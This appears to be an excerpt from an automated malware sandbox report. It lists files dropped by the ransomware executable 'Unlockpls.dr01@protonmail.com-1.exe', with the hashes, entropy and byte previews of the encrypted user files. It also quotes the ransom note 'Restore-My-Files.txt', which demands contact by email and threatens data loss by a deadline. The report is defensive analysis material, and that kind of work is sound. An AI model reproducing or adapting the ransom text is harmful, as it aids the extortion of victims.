SSDEEP:	24:aWN13dHn0HYIwMOVv+o4yP5IpakIIAdIed7DX06iu1CGVF+2GcI6SuELEW:aW3dHn0Hziv+o4+AbVeNILu0GlI2uF
MD5:	AAECADEE13E550F85B16B2641D531B1E
SHA1:	1A87D7840548E194022CD56302782BA9974AFBC1
SHA-256:	28AB8E12F7DF0CE7B3A795016DDBB871041D5B1E37959EAC07D2EB63205561CC
SHA-512:	40ABA8530B1722D59F1FC2631FFF296A87061264E071E6927A19A4BE8740AA48E4ADB78B6AD70901B60FE0A1FD40A426C4FF0A21EB0AB22D8DBE6032CCD2ABF2
Malicious:	false
Preview:	.T.G.....W.......fy].Y..U.s.Q..?...-F@.m......V...,..CA...=qg....R ..@.......R.R.,R....K..7`...Zh..oW...pW.....Z.....K.+/H.4...c3~Oz....g.2a...e.o-..>.:S.0..B....8....am.m2....&....=....c.b.x....-..'...\"..8../.......C.j.......U......>S..F..2..xe>h.-.J/.&.P.H.......^E..u...(..$....E;.C...x.{$....>l3cjt1......x.....8/O&..:.uco}....s'.......6..g..%...L.Z....DT.?.....%k.../..w.d.rd.W.'.Z.;.......5..............2I..'.$\.CR.5...(......1~..^j.=!..~.....r..[9......-..m\|...`.;W.r.[..<.......OM...>P.)...V..t.Y....DcC..F..T.(.3z.C.OF..6.....vc..&..6.N.....ab............U.`.....g._.}................X..]H.J..~.....-c...o..E..!.m........\|.6$r...,b1f..J...P..P.Q#..'..~l...0G$..cu.<..%4.V@.4.N....X..+.....g..[o.......%.$..)....)E`&.,. ...c}!.v....-.!.B9.....G.8...y..?...k...]....k...j...Ds....+..vni.<9.h\|....g....u..b.......>...v.}.`f:....0....=.k.y.....Vh.T..@..6.?,..o..O..@;..l....m.C.k. .Z[H.Y../*.&.....,A.$PTM.\..j..(3..&.[R..o.9gc\|&.h

C:\Users\user\Desktop\EFOYFBOLXA\EOWRVPQCCS.mp3 Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.839432916878288
Encrypted:	false
SSDEEP:	24:VNdY7EzA/2iXSuxZEN8tYDtN0W6xdared3YUentPGUANyTLy9nIHO:Bk2iXrum2b87arSXetPGpQvCF
MD5:	E5408F37FE86D4BA30E8CA921AFCDB46
SHA1:	CCC4D12C915A0800A324A505A86CB06638590B7C
SHA-256:	AE8BCA08F52F7802054D442312AF48316A058BACD07DE9BA613AFCFABA447982
SHA-512:	49970B49FEDA76C2F5785E2536870660488ECAA0937549136BDC60D3FE9161E402F06DB24E99423137026A24C742A7498B5B1EA3C283AEBC951D5A1CD75B5A12
Malicious:	false
Preview:	....1.../v.z.T...U..........S..A.Z.5..........].Yj......x..I.X3q..f..T).[:.Gm.#.....u...b..ft.>....<.,DkF.8..=..`R.C.D...g...<......2..Nb.X.H..W.k.......U..>K6....O[....Y...1...U.<;.m.&..{......'.........1....x9h....Z&q... {.J.N.,....Cr!...cs.i....xw9...WE.._....7."X....{qx..../...`).c.V.d'.X.....y.3gp!.8H....F.S.B.R!.._..._09.......0.....}....X...D>...R....t.c..z8....g4!..k.5...U.?..F.u`/c.v...1.....f...A...Yg.E..<......@I..`...AA.......T+Uo>8W....y...dW.O.F...+.Wr....?R...:.G.K....~.?.9f.e......Cj.'...J.#..~ ..eA(.8...w.A.....'..>.+..=....W.Z..4]T.F9..$.($)j....I) ..$...p.N./..9.......\...e.r.l....CnWk\...O.S......W'e4..{bT.(...^.".7W...P.1....C..+.t...lO...sH.e...U.c.!....n_.@..........R.AY....^.<.y..fNFU...4.*..?...>..N.^.W!n.8..G.\.8....\)r2Y.xR...".J.%{jLk"&....z~..]%R0'yY.s&.k..Blu...%.Klm...7.....v.2.Yi..k}.[:.}.^.u<..f.$V..#..K.,f.;j../}..j.\|..x.I..K.4.....9s.F.......8.._.`u[...i.W..._..~L.E4.1Q...r1y~..q..:?.a..O......

C:\Users\user\Desktop\EFOYFBOLXA\GRXZDKKVDB.xlsx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.849241520403003
Encrypted:	false
SSDEEP:	24:g0J7ij8VOSeI9ff/mKw3yXJgJFKblwUsNj/IhWccXRmfbaAuwb1cLkeTn:j9iJsfmKwCOnOwUsV/IIccU1h1eT
MD5:	751F5A1A82E3AE7CF08AED7AB47A17E4
SHA1:	35FC598850D8DC9DD9D1E852F6D463E67F26B4C9
SHA-256:	4BDAB2C97B0A7471B5A21A0DD693A543729573E1153560BFAB3CD59D5EC8433E
SHA-512:	78278821ADE448071C4743AEB070BA21B2863ED29FF9A0082B40782D738F9B545497688E6215B145C3438A1C2E5C9D38CCD3ABE3A46C76EB6DC65796125599A1
Malicious:	false
Preview:	.....'.G.T........C1."\|.J.d...7...4U.....YId..`..].!.40H..]....j..).G./.{.'.A.,c........n.8..\|Y.@.{..`>{.....#n.u..F.\...16p.....d.[j..'.)......W..E..7..;.;.r.(Zm.]T2..2O.t..bKP._.y..k{...p8....J..(.7Wm...r...E.H...4+g..dl7.T.8....b.....ps...h-.....Hol..y....=.........X.l....S.u...d..D.^.....%....`lih..5...0..=G..`.UT..J..Z).f..,.....Jb.(.?...y.L...R..;/.7......t.p......Cot.)......[....\|....r...ihl.eQ..S.x..[..j=.r. ..jI._V...w...n_B..P'....o.O.HU."4...N..x.^.....E..8x8.K.k.....D..O..]...\...qH..A..r.l.+...V..zC"x..D.T....9........N.F....\|.d;J..s.{3@..>^.e......E%..W..K.......P..`..6(i./..3...k.g.j.I.Y:..s.1K..)y..V....v.,..........8..<1...O^&......u.js.y.zW.O.k.........f.....8L.mx@.......=C.9X..J.e....],.g........`0...."..6.).%a{.K..-..T..D..<..E........}.g...).a...qS..V.fU.............Ug`.'?W...W...v.P....i...u..:)D.x......6.I-%..k.2v.-.r".8V....:{P.L.)...b....[..K7.e\...6~*.Q!$..9...b...8..W....X<..!^.6%J..&V.B.^.XJT...N.C..

C:\Users\user\Desktop\EFOYFBOLXA\PALRGUCVEH.jpg Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.852755056972054
Encrypted:	false
SSDEEP:	24:+Qi3/m6tL4ZpiCU9LvTJwwmBcR+cg2jOGmZwOT7FfQYW3DIFQ9SvSShIRtOOn:D2/bL4rjU9bTJlmBcFg2fmZPT7Gb2rfo
MD5:	A6AC496F5275930869177C39FD1143CC
SHA1:	43D84C9A28CB3011A0FB8BB587681A10A100A175
SHA-256:	947E0F017652D5006584A1987948E605A27501E56FBA8B23EB6AAA8D131C7447
SHA-512:	1CBAA24185B3FF0C83823B4D48D9AE28DAE70278A0872805126E5E8316029464637D49185D189F08D26517D71D9B753878AD5B865E1C67D8D016D81BB48EA060
Malicious:	false
Preview:	K>....E...~ni...._..7.....l.......E.ykMf..2...W.......,.V..1.E...UF...v..\|.FY8C.h.3lu...(.9..%.?...............ek....._._#...'......~.....W....A\.22..?l.yo.0.fN.4....]y...p..S..u..T..Y/aF...m.d&=.o._.N@..V[K.....+...j.P.v.......4..G4..oG..V..%+....R.w^h.E...Y..rl....\p.g....S.~K.uI...F.....Y.B..{^.C.C.!.Z&G!...M...b........~..+.Iy....`v_t.<..a.u0..F....(.%..R.....O...7...5...Qy..xb....vq..Fi....p.......Kb..L.3.=IU..."\C2f.$..,.3'..7.g$.(...n...+............n.u..K6.s,o5U..X.<.........]...Z....e...g...J.m.........8.=.0.b....mnF.=4.<1.B..b.<.R...4.h.D."O.......B....{...#<....."...pQ.J.@p...F-.....-.....7..._.z.K.e..1x...l.....+..p.WqO..kC...lL.m.4{.K.....5..._..._..W.....Zw...UPl..^.%.....d........x..(.t1......swP..&..B..{j...F..>..6.2....<...{ju....`y.6.....2...R.....W....Sm......c)J\..k.RQz.6....K.<....t?g.TF&".sj.....v..... .Ks......./FG...Y...`".v.b....\|..u.....w.....j..@>.b..C...C....GH..#&#.7.....-..l...3k~..2..4w}.i....J;..e...ZX8.

C:\Users\user\Desktop\EFOYFBOLXA\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\Desktop\EIVQSAOTAQ.jpg Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.8563914671915365
Encrypted:	false
SSDEEP:	24:Es73EHkR4uT71bsjOKnZaLxkqcd2y9d3DLQgidrTOU/VUp:EFHkNTxDiqcdd3QBPUp
MD5:	E02CDD4B075F5AB05ABB705B17B42529
SHA1:	41E81F7B47E09E689EB09372227F9708C0270DB6
SHA-256:	E6AD8D9F100717D376EEB28D664FC7AA73FB50A5B5D48E3AE74B1828FEAC83BF
SHA-512:	0AF6708C736136BFF20589D8E3021E61478A38097D824B0FD01ACBFDE930E342108CEDDC295D63EDD443659586384994D75D5377DCC92BA945D5DF37B1D7EAA7
Malicious:	false
Preview:	.x4..l4UK.>MSh.&..a......$.....=.ZP_.C.R......M..%..G%.?..{.E...)d......=.@?....Z.v.....G..W.k.j.(..3Ngv...~.>.oj.....N.E...P.X.3.......%.0...<....r.GMO.Tf.b..?#p......XN@...x....P.....R...d.(.6.l.]G.K...q:.#.}..-.i@..lz.an.ij+r.\|..N..j4..(...e;Rn..4.#.....E8.M.YO..d..."~......A....P.+('.V0.T=...y.."{y....^.d("Nz~....kE_.E.O.i..I....4sLyc.G.;/......'..;...?Syd.T..e......y...[.;.j-...<Y.b.O..^..u\..`...".O.V..,<.1.G.Y......b.P....pr.W.\.......}D<..T..`K.P.p...&..+...csB.M....G....6."..?.\|Os.$......d...aR....Q...3L..s.k...r..;.J...Z'.GC..1..8.w.x.w../.S5.j.#..;;\|...o.)0h@...'....RD.Q..p....8`(..y.8...O...-o.......i..g.........7!./0....7.XM..1W.I..#"...wr.KN~.nn..!q^.E."g...s!.u.......;..;..R..M..j...T...X.m... ..C....._3....:..X.p..4...g.X...Uk..Z...<...........9.9.}.f..>...QC^`..[........;..u..}G....o.'\|...i).E#G..i..m.....b.2.a.]....na.<.A..J1..5.T.(U.w;Z.?.b..;@.........$...4...),......=^a..5..:.E.x.G.....,@....:..t..<..6z^5..*....A.DLMNnp.

C:\Users\user\Desktop\EIVQSAOTAQ.xlsx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.8467570251919705
Encrypted:	false
SSDEEP:	24:IDY+wiNamAb/zGd6MeDnuAZzo0pxD6LrFXOuIPIrN5gVVwVLmWdMUf7:IVwiez+e7KkScp5PmNr7
MD5:	DB6D465FFD123D9B4B018C5DBE37D8F5
SHA1:	928EFB017E0B0D7F67BA535D94272BDDF96F9449
SHA-256:	821B5190F3279CC34B975F0DC4602864D8521ABEC359A39BF30BFA317EE5D780
SHA-512:	6C30BD3BB71CC07377B5B222F53935A15DE7DC24A4CDAE5DC343D2B3278175B54EE0306518F38390DAB83B9BE3614708333D4BE46B840C1D33964C0B6A13ACCB
Malicious:	false
Preview:	tr?<.J..\...^.....p.)2F...9n..i\|......kG..B./...<.$C..\|.U...RI.I3.h...vJ...F....L.....t..av%}.V.&4.R.L..;5.f..q7o....)..$...H..p.......eLD.)8N.r.b.:...'.f.i!S.r.F..Y.20._4..M...C....k.....zy...Zk.S;.r....=....O...1DeAb}......>.N.ue..n)....8o......Ll.z.....w.1.6=08Y.{.}m.o3.........Km.]..C...qsck.....0.().{.$k..P_.K.P./....jm.EE...i...GB.aJ..+....9...,J([.uu5...2.2V.s.F...e+.ZM.....K....wF.............C{..i..w.....]k.#..=...Z.#l.S......C.....\|....kC.'o]....fC....JJ.......l.[v#;.s.b.....bK/.M,.:....BfU....p.....u..Hn4..j,.\A...O......%..d.j..=.....jn.>YB...{{8..s.WL.~....K.1q(.z..p.-!..MT'...A\-.u!R..$..0#..Qr...8..,..w.K.L...,..L.....J<..igp!..+i........Z".a...........3...'..2....$.:..t..<..P.!/.&.....(mK.a...\|.%.y`-\.......\|.h.;,.F....qaCWCA4.~9\|....t.....g.N.....N...........p.Y...!O. b]..18u...#..D{:/...".a...\Q.:..G.........xP1.0&...F....Nn..).l..%%..9..46..D........q...Q.......*I.>.....3...t6...~6...k).6....~W...vm}...N....\[.Z.V

C:\Users\user\Desktop\EOWRVPQCCS.mp3 Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.850219204114362
Encrypted:	false
SSDEEP:	24:tGZcKI4r+d7gYIvwwJWfuRYUDnvONSu3G1eLoSjtyzgYi7Ykgaw0GfspUlMD:AcK92RIvwOW1UDno3LL7ETkLUWD
MD5:	AAC7AE5A0DE8C9A85F293C77436CBABC
SHA1:	10F94CF01D055A805B5065A6DCF4A118432A7C86
SHA-256:	7AF2C248EEEAE3D7663220312D5337F15E495C8A2ACBA23AFA14181A6755A711
SHA-512:	ED09AF940770339417928CA534C6B0BC3B4638DF18F0D6220324E0438A127DDC8585C7D551765D32CB2FD65768EB8137E294FA1BE996A0D7FC8C1418316DCAF5
Malicious:	false
Preview:	..a...5\|)g...>%P......T.'....H.<...sEw...G...~..w.d.....+..G..u....<......Ev\>..t.aN+L.....<.M./ ....ou.8?~:.Z9xv.%.)Wx..........G\_.ML.....n....v....^.m......Mg....m..(..U?.w...h\|...X.H.n!..U!k,.....R4.W.....d.4.~Y.......fo..H.........3...GK..e...S_<...i....h...km.....}o..@.[.H. ..2...i3.+.-{....^.....g........T&............~...l.[XCEv....;..W...t..8.E.../$.y}..P<.O.B...6V.%.&..F...V!".GN0......!.LT.m...K6C.]Yc..F...u.ch.=.x.}......t\...e..iL_O.e..Gi[...-Ve@....n.X..4...U.]..{..c\......<i1..r..C..].t^.)f.2..R.....e.M.\..3.F$.J{.A1.J. .q......'..M....@.....F..N.H.mI..+.^\|.Q..S. .e:IfqY._..hT......nX.&..j.V.5..<..c.g\|.....r...%...3r..........l..s."....dH=...".m.c..8.......H......v.k..)....v..c.t.y:~S......wID...B\|6A.z)...VJ...E...#E...V.>Mt$.7.y...s..N"..._m.s...$.(..R...f..Y_...$p.u...\..+..C9.............\|....H...`l..\|....Nt.n.q..i....k`...........E..K.......$.N....q.....C.-... .J.Z.s.F.54a.].@..K.....-y....H..A[........`..

C:\Users\user\Desktop\EOWRVPQCCS.pdf Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.847709940360209
Encrypted:	false
SSDEEP:	24:m6nvzl41CP+sLQv2PfbXhFMP7grpPTmXcw1afM2okMiAVozpf:Fvzli+T0O3bScrwsw1F2oYAQ9
MD5:	B25EB9C5EFC819FFF8EFFE4D7CBE4C39
SHA1:	9161194431201D1FC09F886426F1AC12186484B4
SHA-256:	EAA5E159689C544DDFC762A58B016BAF4F30ABA776B1EB4669D55844FA1B2489
SHA-512:	84EE700A1AE390D8BEC9CBAC92404BCF4C84D03710F0F51BBE075CF4E320E1FCA998EC4606A4E4AC81199CB61590A5FF10E5B5C34BD5F96A496A1F4A6691DA47
Malicious:	false
Preview:	....S...Z..B...P=i....ma."..6.J........(....&..)j...E..\|Y..0E.,..=.....,.".-......?.9Xj............\|M.2t...kq..I..4.>r...e..@.mk....^...(..h/.O.Q...8..a._..71...T....4o..saJg/.ix.....j..k..w;..$...#..I;~..'L.../.K..>...A...p..w..Xj.H.R..c....;./C....m...S,..i.c.5....5.-....s......}...U:..f.<V.w.=..y...V...x..,.:e53-...t..Ar)..@..<.....[e......I{.....;...\^.>..D.s..<......^b.4C]tX.'.]......X.eu...9...A.P.Sd.._..Y.{-8...M......_ru.....o\.\..:..._S"..J.....)....'.3l.0.R....J....2....<.+_..a.!g.t3...p.\...s..:z.............n..f..d..,M.T>I.,..^k.W..j.c8.K......JP../..D.K.M.W N.X..A..z}=..vX.........2.K".V7,.A.{.s.......Q...........H...>6..].S...I....m-".=.........fQ.v8...L...t..LVv...(u.....?_.......{5.....=8.>.6....u^.H0d3.{.Q.....r.&3>.%a).$.M.k&.!.t.5....9...Q.{.n..u...l"}Q...8.A ...\|k*!3..4~\|..!8sW....f.o. .Io..sB..{.#....6&.C....8Lf....1..6_v.[.r......Q@..D..0.M...c..=d~..h....].M).^.AA...dn+(..{.-p.......`....+<....w..j..Q.,....{.

C:\Users\user\Desktop\EOWRVPQCCS.xlsx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.826756710512417
Encrypted:	false
SSDEEP:	24:SzwJVu5haq/CAIrNO6mCU496nRA/qAD+aDnLxHXYomLWgvJFbZ4BJDbsDsrg305Z:Scy5h0AmNiCU/g+aDnLxHIomLWgvjZ4x
MD5:	D7DC5B94EC0603F8E817DCF813E9BB6A
SHA1:	EB38526BCDE3B8BA916B149F28FE330C043588E3
SHA-256:	FDC6C29F599A9116981329B0E8B301B880260A2206D4257B7EFEBA78A9901CD4
SHA-512:	0B1B5157CA73687E01886FB7D04D8B69C1B7D96E74D05AC767D01D6AAC5A675E7CB22D563B306B63DC01C18FC32E51ADC49F521B8830B255B9A5F5DB9DE83571
Malicious:	false
Preview:	;........./.L.{.^..7..}v.r......^;.f\.......J5...._QP.....V....~cD.....3..D.S.-)...\.=....{0w..t...0..cD......%.......$K.C..<R._%.I..e.:..XN \|...z.a}......x#....C.s...E...N..>..uu7.....I..M.?.......FP..%.2...$.U.J.....$.........t.j\|...V.7drY...3...t?.....N..K.y...../W...=.Q..s.?.V....8........(........L.oY.......y..\|.+.&..`.+.s.Oo4}..4.q:q$lx....]..{.C...S.r..H...u.....N@....`.T..d......9......Z_.Y .g.. .'...D...'..R...~...!=..h...o'(....{.1....q...V7B....1GY{.........w+...e.....%. .E+...0]"=.w...W}......8...5.+..\N..2p.....!....X.\v?..\|.#.....'.,Q.U.T..%(.....R....f....g.mz....H.`..).G,. JC.0H..o.'.c..[.U.%=.....M.p.Q'.={..(.J\|.{.X.-:J...hY.(=..c.7bH..F.x.....h...B..OO.Z..K..t".:..r....M(......[;.a..tf_.,.[........w...N.HC)5.<......=..w...TSG}=.H.Y....\B.iI....@....^.G..?.zS.f..m..r...jBz.2..P.hJ<.^.,.\Lh...w.>..;..zg...hE...n......j>......_.TJ\......j..n3.._.....EnCl..G.HK..........v..O.....5.e...P..^........p.7....

C:\Users\user\Desktop\EWZCVGNOWT.pdf Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.844735508187164
Encrypted:	false
SSDEEP:	24:uvpN+4E65X5O0KBrtDKSVMx+dUl4qPjfeOb8Iyfwa9ibFnubkL7tZ1nUFq:uh0kX5dKBrBVMx+dUl/P7eyy4a90Fubo
MD5:	1289FF24C9609FB9653E74C83D83B033
SHA1:	38405A93DC6353293CB6B58414CF42E72051C0EF
SHA-256:	A70D445E011A396B38A169D94209C3725AC07E1531915874214DDCE3D3563FDC
SHA-512:	6618946D75A730EC2167C576DE55AD7F58892653E3E40345E2B88D49D3497599641569B28FEB23E5C5A5E0EDAD19A0A0CC3F3C859C72F61B522E53DDD87DD9F2
Malicious:	false
Preview:	......cO..L]u.MQP..'.,...]..K>u...tY.........(.k3.]e\|n.......w...UF.m.e.A.h...=.......Z.R..S))...:..n.e.<.....mLC.:.....<..XAj..=..V....V.U..B5..=.....6EY..4..%.6.N}.3'K........(.....c....6^/4."...F.@...L?nN9.%....NO ..@.w.:U>..0J..@.[.....S.M...R...t/....K.~.k...o..!.-.@...AZb....m.V..Jv..x..9.8Q...H.^.{.....?...y<......G......7.}}.i5.....ZY/"....M.r...p.._S&.H-...i..\|l0.$.....`............q...wb...4.h.u....<........Rr....n1G3..@..y..z.....1.C'..o....!/..P..t3AC.^..K.6o...v."}.H.c..%...s...1...[.....r(s..hl..S....8.i@o!.SJmUo..:.J..L...f..........>(.Q.#}.X...T.x.R.b..<...+....%;..@).v$.Qx.nd<........&\|X..5..8.X.w....s.[.U..Y.{.Mqp.Y.....>...j.........^....3...`...4...+..3w./..^...x..cm.VAV..l....\|...R..7...... j.aE-k..o....9....Y;...d..._5X.a..I>_j.]Y3c.O.Z.1.X6.4.ba{..4...0..?k..<..Y?S.CU.......H.%.'d...6...i<uw.o....#Q!_Z\.....5....&..T.AR....U.C....=.....-c....>.}..}.z.."...-.T9G...{VAX.@.}..^`..p$.?....])q1...b....E.

C:\Users\user\Desktop\Excel 2016.lnk Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	2916
Entropy (8bit):	7.928393916531531
Encrypted:	false
SSDEEP:	48:tgBk7VckULMH8jA26yDmBsAR27ZjafqgoL/fSrsU2PB+7G/onolCq+1i6SWlN39Y:tciLIMH8jAWDmeAR2Fj5gobkK+y/rlCk
MD5:	FFAD97F0C443DD2F98B437BA90FC6C56
SHA1:	8A08988D27C7CB50E77427756D2C4CA9F1DF9DBA
SHA-256:	1AF143F35A3C4041E66310715B7EBD4AC5D1AA70C5E2E70875081352961B9726
SHA-512:	27332528EA41B046ADDDE742CC651502619D70C27374073ED3FF523EEA091D3EBEB3359996F08B2CA4C9C42B36D255DEB3492D1A4FC87E5A961546523BD8E8C9
Malicious:	false
Preview:	.>..j..%.....y.-.D.J...h.O...YQb...".-hH...x..}..!...y..LWok~..`.2.N..b....}.....C2@_X........H.Y_.2.:oP;).<........(O...2....\|....k"...m.v.!...L..b..7..+.ftU...w.......w......>I.'G.....@.gYHU......R.J..V..S.."(5.{Vb.;:...u.E.......@5M..,..1<2.....7.`{(..."...`....Bi..3Y...q.T {e..L~Bt(.ei.Xf...sg.0.8l......"SHW.k..N..d..k.UJ...^.M^...6C......\..Sk..P.P.2.+H+.6_...C.8\B..).t...Q....J....q3.C....hFO.....pY..]+..d%..e..PXXM-l)vY....0<.8.&.............7\|^...v...\....2h.%../.X.-.g.j..>6vJ(Y.......ssN.m..j.....(..P.....P0...-U.............."^.}..J.'k9....6..D.....L.B.h...}...MN\|.Y...P$..#.Y...U#..Bx9..1.=..O/iv.@.3"..{;uc....M.malD.g..?.'...CQ.I.q@.$.?+Z..1....m.].~..t....GU.(.n.J...V .o./...Mo..E.B[.]..7.)N:.^.......K.A............N..v..=4.?..h.J=v..N-..ae.hX.....L.A..jeL-.^............I...}....._.A....S.bE..u...1]l..K.up+T..b.b...4.;.I..........P. Q..*.VA.F.N...!}....sq]..+........:.Y....C21D+(.fE..%{Z.....7S_.4.V,....l.nR...i.......x

C:\Users\user\Desktop\GIGIYTFFYT.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.8568317892499335
Encrypted:	false
SSDEEP:	24:ND04j0b0P8DXLYF9SaI7cCYy2XKmerRu4HT0lU+ZpjwtAodck:+Z0PCYcJnLwWMU+TE0k
MD5:	39990C1454C13D6B09A4E0B01E1DEB2E
SHA1:	7279F096900FA1230705B77107577B84A104F84A
SHA-256:	B8F9C9735B4573D2FB23DDDD57DB3E80E53022D6C9DCE3B63920C63A0AC32970
SHA-512:	80DD7EA8F1890F9D176166E779518ECFBD7C9049450A3018C86ED3751F98DECC17A705EBA032CAD02CC6E6774B4CC16D41F4A85F34B0A5751163E50CA55B922E
Malicious:	false
Preview:	..@@.$..G.....[D....Z... .......`..u:...f+....".e.........8.,.....e\|jo.7.z..\.".......q......S....8......X.GE.C4#^..]5\....I8[...6O.6'..n..x.....8...o.K..1Z....5......>?4.w!.&.Q.hK[.mrYk..w...T..C..f..n..bi. Y.\)g..t..G.t.\..\|/.....G.S.?.%....l~.6.......iq/..)p..{....dg.W.i..y..U9Iim......rxK.u.-.<.IY.8....3.A..x.g.X...U...s.y. .......M...].,.r.Q..[..G....0Ro(..{.].r....YHq..r...F5V...C..tux....x.xd..U..1..+..`.,.#q.n../..I`sU..f..c?.DC.<v.....f.8..l........./..5.J.......e..=.yv%.._.X.g#......26...YS[.......R`.....$.l#.....X..eB.@...-..Yh]...(...j+.....a...?...Q.........'......H..........C.V.D..X-4.\|..]......RK.mJh......As.C.J_.p..^.0:.F.tM.ou.L......f...#.....ew..`/..i;.%...BI4v9.{.$.V.(*.H'<J...Jwv2.z.c._ps..fr...!.57.I.._n^}]tx..an..\|.H....v....g.R.:....<.a3O__.5..}L..-.L...U..@.b.5.%.\|(.._....[8/..ygU...{..`.\|.V..@.6.\|..T4&..c.}tTW.P.a.%...$.EF....1.F...2....0y...>.......Q..).GH.R.:..@....nV.....<...g<....^.....4.<..C7..^B...<m..

C:\Users\user\Desktop\GRXZDKKVDB.docx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.829039160152254
Encrypted:	false
SSDEEP:	24:qywwdE+Th3c5Jp72wDhvGslBqswpMTIBZJfGz0/xtzHH:hZsVB7w+TI1Gz0/77
MD5:	7FC417749828BE64A6DA1C29DEB922A4
SHA1:	5654E6992FB583B1DDE6728EC3C79F67D8952810
SHA-256:	9A7DD116A8148514B058F8B0004B6CDF6A37064FAB72D95E95167718522902A8
SHA-512:	57BDE76E8B0F8D114B723C2D2118B96024F8B42772E24A405CB95B491C9686A98127D7CF6DA328D16BCD12CE47C7A0E0EA0442C54B43D3E06DF34A582497C7F0
Malicious:	false
Preview:	B...z.x...F.....iB.......!..?#;..]9.`)#.}.....T...ZI6/.~..x./.......:'.^C.z......c...w.9..c.Bc$...:. .j'+K%..f..Jx..A.,O=O.\[&\|:..Cz\|)[......}..G..b....m{.kJm...R.._..A....h.....x.R..r.a:%U...?.B.Z..m.,D?".x.R..k.v...#.......F..k..2....B$.H-..XL..p...I.3.....A9...\|a.j..9.....+.kd.0. y..GM.6[..[..F.....'.?...yuM.fE.#!..@-...M..[Q....`[...i..]W...H..(.2..o..e.m2@i...?6..)m...[Y.8...7...g .....q......L..g.ot..)..;x,P...VR.q.....&{...6;.....m...J.#.{Z?...\.M....d.e..x.e._iL.._........M.9S8...%8..c.d&-.e...._.'b.W,..,%n..#...B..4.Q....'4v0.....~..[{.+...A..........];#G0.Ii[y...q...g....t..V...w.`.[..PIf..c........fXp.G.G..a..%._.;.[.X....U2..l7{...X..........*k.e.yVHy...fE..../zD.a.x.(....@I.......%......E.Z..2J}`..z^t..........3.H.\|...+jU.B.)..e..ag.dayx....,3..#$...%aA.x.RunO..\|.mg......).........\..Z!..X..=...[.h.\..I....K.6...$[$Q9.fiJ....QZ.....D..h......Up.<.....5.iw.qywZ..,.1....V..\....D..Rre.......R...z...w .d4V.]...,..I?~"\|2u..t..

C:\Users\user\Desktop\GRXZDKKVDB.pdf Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.828508236326651
Encrypted:	false
SSDEEP:	24:WU4mn5KTwfMMwngNxKiC2fEnoRwSFNwtfTOV3CFGr1as5iDu:gmn8UEMZcnwEo/ati0Gks0K
MD5:	54D8FA7E255A8707EFAC9A5EC44A5098
SHA1:	0C9BB6C2AEBE2E7749E3731B1FDA5D52E80A764A
SHA-256:	6E74F208F5A83BF2C33AC1351865F4E980EF84AB23C2003A5A98C0EEA64CDFD0
SHA-512:	647B0EA1BD61856FF89F3B77FCCF7CFE66C1AE98C42C83820AD3ABAE7835B7FC7C2C77555F3F8BCBADDC9BE5D41C1677A2E5A72C8336B891A3F63075B4D2B530
Malicious:	false
